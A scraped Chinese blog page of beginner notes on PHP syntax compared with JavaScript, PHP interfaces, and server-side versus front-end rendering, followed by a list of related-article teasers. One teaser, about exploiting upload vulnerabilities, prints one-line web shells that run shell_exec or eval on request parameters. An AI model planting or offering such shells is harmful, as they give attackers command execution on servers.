Ajax_实现动态网站的技术、php语法、php接口、前端渲染和后端渲染

news/2024/5/9 16:29:50/文章来源:https://blog.csdn.net/weixin_34266504/article/details/93308467

1、实现动态网站的技术(后端语言)

   php、java(jsp和php语言差不多)、.net、Nodejs、python。。。

   最简单的是学php

2、php基本语法 

  

 

  

  

  js中 js代码用script包起来,php中用<?php     ?>包起来后,可以放在html代码中任一位置

 3、js和php语言的比较

   变量--内存中数据

   1、变量声明

    

 

    以$开头

    $num  = 1;

   2、字符串拼接

    php中是用点  .

    $num.'你是谁'====》'1你是谁'

    

    3、

    

    注意:json格式的字符串里面必须是双引号---这是规范,不遵循会报错

    

    4、php中的数组

      

    5、数组的遍历

      js中

      

      php中

      

 

      

    6、数据类型

       js中  ---弱类型语言

        

        call的作用:1、改变函数中this的指向,2、调用函数 3、第一个参数就是this的指向 4、函数的放回值就是call调用的返回值

       php中

        。。。看php的文档

      7、函数

        js中

          1、function

          2、函数表达式

          3、new Function()

        php中

          

           

    8、get post 获取数据

      js 中

        

      php中  http协议

        

        

        

    案例:  查询成绩

        

 

        

        

        

 

       9、后台接口(后台仅仅是返回特定格式的数据而不是一个完整的页面,这种形式的url一般就是当接口用的)

        服务器端返回来的不一定是一个完整的页面(html),也可以是一部分数据(这种形式的url一般可以说是一个接口,这个接口一般是给前端使用的,就是说拿到数据后页面在前端渲染,而不是像之前直接返回一个完整的页面)

        服务器端返回是完整的页面 还是 特定格式的数据一般是取决于你的业务需求,一般返回完整页面的是服务器端渲染,返回特定格式数据的是浏览器端渲染。

        服务器端渲染----早期的渲染方式(在后台把php文件里的php语法的那些都解析成静态资源文件,最后浏览器拿到的是静态资源去渲染,所以渲染流程发生在后端)

          

      浏览器端渲染

        :现在技术都是后端管返回数据给前端,然后前端自己去处理数据和标签的拼接渲染----浏览器端渲染

      接口:

        用php ---从后台返回一些特定类型的数据

        

        

      10、php语法来操作数据库

      11、后端渲染的做法

        1、前端妹子写好html、css、js 静态页面(数据都是死数据)

        2、php的拿到前端妹子写的代码后,自己新建一个php文件后,把html文件里的内容全部拷贝到php文件中,然后删掉死数据,用php语法渲染新数据

        3、浏览器访问页面时,php文件在后端渲染好页面后,此时页面算是静态资源文件了,然后返回给浏览器,此时浏览器拿到的其实已经是后端渲染过得静态资源页面了,所以说页面是在后端渲染的。

      12、前端渲染页面(现在开发中的主流---前后端分离)

        前后端分离---后台只管数据(接口),前台复杂拿到数据后拼接数据后给浏览器渲染页面

        所以此时前端的工作量也慢慢变大了

      

        

        

        

 

        

      

 

    

 

    

    

转载于:https://www.cnblogs.com/yangyutian/p/10958269.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_756325.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《Linux就该这么学》第10章 使用Apache服务部署静态网站

《Linux就该这么学》! 学习网址&#xff1a;https://www.linuxprobe.com/ 灰常不错的网站和学习课程~~~! 第10章 使用Apache服务部署静态网站 网站服务&#xff1a;通过浏览器访问服务器&#xff0c;传送10.1 网站服务程序 目前能够提供Web网络服务的程序有IIS、Nginx和Apache等…

今天分享几个牛逼的网站,不知道你用过没?

点击蓝色字关注我们&#xff01;一个正在努力变强的公众号今天给各位小伙伴推荐几个我经常使用的网站&#xff0c;这些网站可以节省大家许多的时间&#xff0c;增大大家的工作效率。&#xff08;也没给我广告费&#xff0c;纯属分享&#xff09;1 Iconfonthttps://www.iconfont…

收藏!这段时间又发现了几个提高效率的网站!

前面写过一篇推荐网站的文章(今天分享几个牛逼的网站&#xff0c;不知道你用过没&#xff1f;)&#xff0c;感觉反响还不错。这段时间又发现了几个比较牛逼的网站&#xff0c;分享给大家&#xff0c;让大家的工作效率更高。马可菠萝https://www.macbl.com/前段时间用上了MAC系统…

自己如何开发一个B站视频下载网站?

点击上方“Python进击者”&#xff0c;关注我&#xff01;坚持初心&#xff0c;坚持原创前言hello&#xff0c;各位小伙伴&#xff0c;这是公众号改名后的第一篇原创。不管改不改名&#xff0c;我都是会坚持初心&#xff0c;记录技术&#xff0c;不搞虚的&#xff0c;希望大家能…

那些X音无水印视频下载网站怎么实现的?

点击上方“Python进击者”&#xff0c;选择“星标”公众号重磅干货&#xff0c;第一时间送达前言看到很多朋友都在用网上一些某音无水印下载&#xff0c;作为程序员&#xff0c;咱们自己来整一个。今天咱们来说说某音无水印下载的思路&#xff0c;没有为什么&#xff0c;直接往…

我收藏夹里五个贼好用的网站分享给你了

点击上方“Python进击者”&#xff0c;选择“星标”公众号重磅干货&#xff0c;第一时间送达前言各位小伙伴大家好&#xff0c;今天又来分享一波自己收藏的超好用的网站&#xff0c;之前写过两期实用网站分享&#xff0c;感觉反馈都不错。今天抽空再来跟大家分享一波&#xff0…

五个吊炸天的网站

点击上方“Python进击者”&#xff0c;选择“星标”公众号超级无敌干货推送给你&#xff01;&#xff01;Python进击者第185篇原创文章前言 大家好&#xff0c;我是Kuls。 很久没来给大家分享一些牛逼的网站了&#xff0c;今天来给大家推荐一波。如果之前的好站分享没看过&…

其他工具网站收集

Unsplash.it – 图片占位符&#xff0c;支持个性化 Unsplash.it 是一个使用漂亮的图像作为占位符的工具。只要把你的图像尺寸&#xff08;宽与高&#xff09;放到网址后面的参数中&#xff0c;你会得到一个占位符。你可以很容易地得到一个随机图像或者是一个模糊图像。也支持获…

利用网站上传漏洞使用一句话木马控制服务器

一句话木马 常用于php、asp、aspx php <?php echo shell_exec($_GET[cmd]);?> asp <%execute(request("value"))%> aspx <% Page Language"Jscript"%> <%eval(Request.Item["value"])%> jsp 无回显执行系统命令 <%…

网站服务器购买配置选购方案

云服务器 的配置选择&#xff0c;和网站或应用的类型、访问量、数据量大小、程序质量等因素有关&#xff0c;建议和您的网站或应用的开发技术人员沟通&#xff0c;选择最适合您的配置。 如果您没有技术人员可提供建议&#xff0c;可以参考我们的建议进行配置选择。网站初始阶段…

惊爆:Alexa 全球排名网站即将关闭

作者 | 辛晓亮近日&#xff0c;亚马逊宣布&#xff0c;计划于明年 5 月份关其全球网站排名网站 Alexa。目前 Alexa 已经停止付费服务的新用户注册&#xff0c;现有付费用户可以使用到 2022 年 5 月 1 日。Alexa 在官方公告中称“25 年前&#xff0c;我们创立了 Alexa Internet&…

大型网站技术架构(六)网站的伸缩性架构

2019独角兽企业重金招聘Python工程师标准>>> 网站系统的伸缩性架构最重要的技术手段就是使用服务器集群功能&#xff0c;通过不断地向集群中添加服务器来增强整个集群的处理能力。“伸”即网站的规模和服务器的规模总是在不断扩大。 1、网站架构的伸缩性设计 网站的…

大型网站技术架构(二)架构模式

2019独角兽企业重金招聘Python工程师标准>>> 每一个模式描述了一个在我们周围不断重复发生的问题及该问题解决方案的核心。这样&#xff0c;你就能一次又一次地使用该方案而不必做重复工作。 所谓网站架构模式即为了解决大型网站面临的高并发访问、海量数据、高可靠…

抓取Bing每日图片作为网站首页背景

把Bing搜索的背景图片设置为自己网站的背景&#xff0c;实现背景及资讯的每日更新 效果图如下&#xff1a; 理一下思路&#xff0c;首先我们要抓取Bing的每日图片及最新资讯&#xff0c;然后保存图片及信息到本地&#xff0c;最后显示图片及资讯到网站首页。 第一步&#xff1a…

.NET Core 控制台如何嵌入运行 Web API网站?

【导读】我们知道在.NET Framework中可以嵌入运行Web APi&#xff0c;那么在.NET Core&#xff08;.NET 6称之为.NET&#xff09;中如何内嵌运行Web Api呢&#xff0c;在实际项目中这种场景非常常见&#xff0c;那么我们本节以.NET 6.0作为演示示例一起来瞅瞅。内嵌运行.NET Co…

【问题解决】Chrome浏览器:该网站使用HSTS。网络错误...此页面稍后可能会工作之解决方法

【问题解决】Chrome浏览器&#xff1a;该网站使用HSTS。网络错误…此页面稍后可能会工作之解决方法 原文地址&#xff1a; https://blog.csdn.net/weixin_43486390/article/details/96860374 这里我偷懒了&#xff0c;直接把别人解决过的方法直接搬过来了&#xff0c;不过&…

源码托管网站推荐——OKSvn

在团队开发时&#xff0c;没使用SVN或者其他版本控制工具必将带来很多不必要的麻烦。在本机搭建SVN的方法虽然可行&#xff0c;但你不能保证你的电脑一直处于运行状态&#xff0c;显然是很不方便的。 我们知道&#xff0c;新浪、谷歌都有项目托管&#xff0c;由于网速不给力&am…

建站手册-网站构建:万维网联盟(World Wide Web Consortium)

ylbtech-建站手册-网站构建&#xff1a;万维网联盟&#xff08;World Wide Web Consortium&#xff09;1.返回顶部 1、http://www.w3school.com.cn/site/site_w3c.asp2、2.返回顶部1、万维网联盟&#xff08;W3C&#xff09;创立了 WWW 标准。 W3C 的使命是通过发展规范、指导方…

数据分析案例(5)利用MYSQL+Python对某网站的用户数进行分析

数据与代码链接&#xff1a; https://pan.baidu.com/s/1vF3hzzI83tDDVl-kM03shQ 提取码&#xff1a;0202 user.sql文件大家自行导入mysql数据库中&#xff0c;我是放在了test01数据库中 数据由于是存储在MYsql数据库的&#xff0c;因此我们需要利用Python连接mysql数据库&…

discuz html5 手机,Discuz正式推出移动端社区建站工具Discuz Q

从黯然离场到二次上线&#xff0c;Discuz近期正式上线移动端社区建站软件Discuz Q&#xff0c;鼎力支持站长专属私域流量经营!了解到&#xff0c;Discuz! Q简单讲就是一套手机端的社区建站软件&#xff0c;核心就是帮助站长经营移动端私域流量&#xff0c;快速内容变现 &#x…